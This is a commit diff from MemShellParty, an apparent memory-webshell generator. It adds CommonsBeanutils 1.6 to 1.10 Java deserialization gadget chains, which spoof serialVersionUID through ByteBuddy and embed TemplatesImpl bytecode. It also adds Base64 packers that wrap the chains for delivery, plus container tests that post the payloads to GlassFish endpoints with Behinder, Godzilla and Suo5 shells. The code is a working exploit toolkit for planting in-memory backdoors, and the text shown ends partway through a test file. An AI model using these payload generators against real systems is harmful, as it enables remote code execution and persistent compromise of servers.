mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support cb4 other version payload packers
This commit is contained in:
@@ -1,6 +1,6 @@
|
|||||||
package com.reajason.javaweb.deserialize;
|
package com.reajason.javaweb.deserialize;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.payload.CommonsBeanutils19;
|
import com.reajason.javaweb.deserialize.payload.*;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -12,7 +12,12 @@ public enum PayloadType {
|
|||||||
/**
|
/**
|
||||||
* CB 链
|
* CB 链
|
||||||
*/
|
*/
|
||||||
CommonsBeanutils19(new CommonsBeanutils19());
|
CommonsBeanutils16(new CommonsBeanutils16()),
|
||||||
|
CommonsBeanutils18(new CommonsBeanutils18()),
|
||||||
|
CommonsBeanutils19(new CommonsBeanutils19()),
|
||||||
|
CommonsBeanutils110(new CommonsBeanutils110()),
|
||||||
|
|
||||||
|
;
|
||||||
|
|
||||||
private final Payload payload;
|
private final Payload payload;
|
||||||
|
|
||||||
|
|||||||
+44
@@ -0,0 +1,44 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/3
|
||||||
|
*/
|
||||||
|
public class CommonsBeanutils110 implements Payload {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
|
Object comparator = new ByteBuddy()
|
||||||
|
.redefine(BeanComparator.class)
|
||||||
|
.field(named("serialVersionUID"))
|
||||||
|
.value(1L).make()
|
||||||
|
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||||
|
.getDeclaredConstructor(String.class, Comparator.class)
|
||||||
|
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
+43
@@ -0,0 +1,43 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/3
|
||||||
|
*/
|
||||||
|
public class CommonsBeanutils16 implements Payload {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
|
Object comparator = new ByteBuddy()
|
||||||
|
.redefine(BeanComparator.class)
|
||||||
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
|
.value(2573799559215537819L).make()
|
||||||
|
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||||
|
.getDeclaredConstructor(String.class, Comparator.class)
|
||||||
|
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
+44
@@ -0,0 +1,44 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.Payload;
|
||||||
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.Comparator;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/3
|
||||||
|
*/
|
||||||
|
public class CommonsBeanutils18 implements Payload {
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public Object generate(byte[] bytes) {
|
||||||
|
Object comparator = new ByteBuddy()
|
||||||
|
.redefine(BeanComparator.class)
|
||||||
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
|
.value(-3490850999041592962L).make()
|
||||||
|
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||||
|
.getDeclaredConstructor(String.class, Comparator.class)
|
||||||
|
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||||
|
queue.add("1");
|
||||||
|
queue.add("1");
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
}
|
||||||
+17
-3
@@ -4,8 +4,16 @@ import com.reajason.javaweb.deserialize.Payload;
|
|||||||
import com.reajason.javaweb.deserialize.TemplateUtils;
|
import com.reajason.javaweb.deserialize.TemplateUtils;
|
||||||
import com.reajason.javaweb.deserialize.utils.Reflections;
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
import lombok.SneakyThrows;
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
import org.apache.commons.beanutils.BeanComparator;
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -16,12 +24,18 @@ public class CommonsBeanutils19 implements Payload {
|
|||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public Object generate(byte[] bytes) {
|
public Object generate(byte[] bytes) {
|
||||||
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
Object comparator = new ByteBuddy()
|
||||||
final BeanComparator<Object> comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER);
|
.redefine(BeanComparator.class)
|
||||||
final PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
|
.value(-2044202215314119608L).make()
|
||||||
|
.load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded()
|
||||||
|
.getDeclaredConstructor(String.class, Comparator.class)
|
||||||
|
.newInstance(null, String.CASE_INSENSITIVE_ORDER);
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<>(2, ((Comparator) comparator));
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
queue.add("1");
|
queue.add("1");
|
||||||
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
Object obj = TemplateUtils.createTemplatesImpl(bytes);
|
||||||
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj});
|
||||||
return queue;
|
return queue;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -41,4 +41,10 @@ public class Reflections {
|
|||||||
final Field field = getField(obj.getClass(), fieldName);
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
field.set(obj, value);
|
field.set(obj, value);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
|
||||||
|
final Field field = getField(obj.getClass(), fieldName);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.deserialize.payload;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.utils.Reflections;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.description.modifier.FieldManifestation;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.dynamic.loading.ClassLoadingStrategy;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.net.URL;
|
||||||
|
import java.net.URLClassLoader;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/17
|
||||||
|
*/
|
||||||
|
class CommonsBeanutils18Test {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
@SneakyThrows
|
||||||
|
void test() {
|
||||||
|
Object object = new ByteBuddy()
|
||||||
|
.redefine(Class.forName("org.apache.commons.beanutils.BeanComparator"))
|
||||||
|
.defineField("serialVersionUID", long.class, Visibility.PRIVATE, Ownership.STATIC, FieldManifestation.FINAL)
|
||||||
|
.value(-2044202215314119608L)
|
||||||
|
.make().load(new URLClassLoader(new URL[]{}), ClassLoadingStrategy.Default.INJECTION).getLoaded().newInstance();
|
||||||
|
assertEquals(-2044202215314119608L, Reflections.getFieldValue(object, "serialVersionUID"));
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -5,7 +5,7 @@ import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
|
|||||||
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
|
||||||
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
import com.reajason.javaweb.memshell.packer.bsh.BeanShellPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
|
import com.reajason.javaweb.memshell.packer.deserialize.java.*;
|
||||||
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
import com.reajason.javaweb.memshell.packer.el.ELPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
|
||||||
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
|
||||||
@@ -87,9 +87,14 @@ public enum Packers {
|
|||||||
JinJava(new JinJavaPacker()),
|
JinJava(new JinJavaPacker()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* 反序列化打包器
|
* Java 反序列化打包器
|
||||||
*/
|
*/
|
||||||
Deserialize(new DeserializePacker()),
|
JavaDeserialize(new JavaDeserializePacker()),
|
||||||
|
JavaCommonsBeanutils19(new CommonsBeanutils19Packer(), JavaDeserializePacker.class),
|
||||||
|
JavaCommonsBeanutils18(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||||
|
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
|
||||||
|
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
|
||||||
|
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
|
||||||
|
|
||||||
AgentJar(new AgentJarPacker()),
|
AgentJar(new AgentJarPacker()),
|
||||||
|
|
||||||
|
|||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/17
|
||||||
|
*/
|
||||||
|
public class CommonsBeanutils110Packer implements Packer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils110);
|
||||||
|
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/17
|
||||||
|
*/
|
||||||
|
public class CommonsBeanutils16Packer implements Packer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils16);
|
||||||
|
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
|
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||||
|
import com.reajason.javaweb.deserialize.PayloadType;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.SneakyThrows;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/17
|
||||||
|
*/
|
||||||
|
public class CommonsBeanutils18Packer implements Packer {
|
||||||
|
|
||||||
|
@Override
|
||||||
|
@SneakyThrows
|
||||||
|
public String pack(GenerateResult generateResult) {
|
||||||
|
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||||
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils18);
|
||||||
|
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
|
}
|
||||||
|
}
|
||||||
+4
-4
@@ -1,4 +1,4 @@
|
|||||||
package com.reajason.javaweb.memshell.packer.deserialize;
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||||
@@ -10,9 +10,9 @@ import org.apache.commons.codec.binary.Base64;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/10
|
* @since 2025/2/17
|
||||||
*/
|
*/
|
||||||
public class DeserializePacker implements Packer {
|
public class CommonsBeanutils19Packer implements Packer {
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
@@ -21,4 +21,4 @@ public class DeserializePacker implements Packer {
|
|||||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+11
@@ -0,0 +1,11 @@
|
|||||||
|
package com.reajason.javaweb.memshell.packer.deserialize.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.packer.AggregatePacker;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/10
|
||||||
|
*/
|
||||||
|
public class JavaDeserializePacker implements AggregatePacker {
|
||||||
|
|
||||||
|
}
|
||||||
+1
-1
@@ -219,7 +219,7 @@ public class ShellAssertionTool {
|
|||||||
case JinJava -> VulTool.postData(url + "/jinjava", content);
|
case JinJava -> VulTool.postData(url + "/jinjava", content);
|
||||||
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
||||||
case Velocity -> VulTool.postData(url + "/velocity", content);
|
case Velocity -> VulTool.postData(url + "/velocity", content);
|
||||||
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
case JavaDeserialize -> VulTool.postData(url + "/java_deserialize", content);
|
||||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||||
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
default -> throw new IllegalStateException("Unexpected value: " + packer);
|
||||||
|
|||||||
+12
-12
@@ -50,29 +50,29 @@ public class GlassFish3ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
|
||||||
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
|
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar), // classFormatError
|
||||||
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
|
||||||
|
|||||||
+12
-12
@@ -51,29 +51,29 @@ public class GlassFish4ContainerTest {
|
|||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
return Stream.of(
|
return Stream.of(
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.Deserialize),
|
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
|
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
|
||||||
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
|
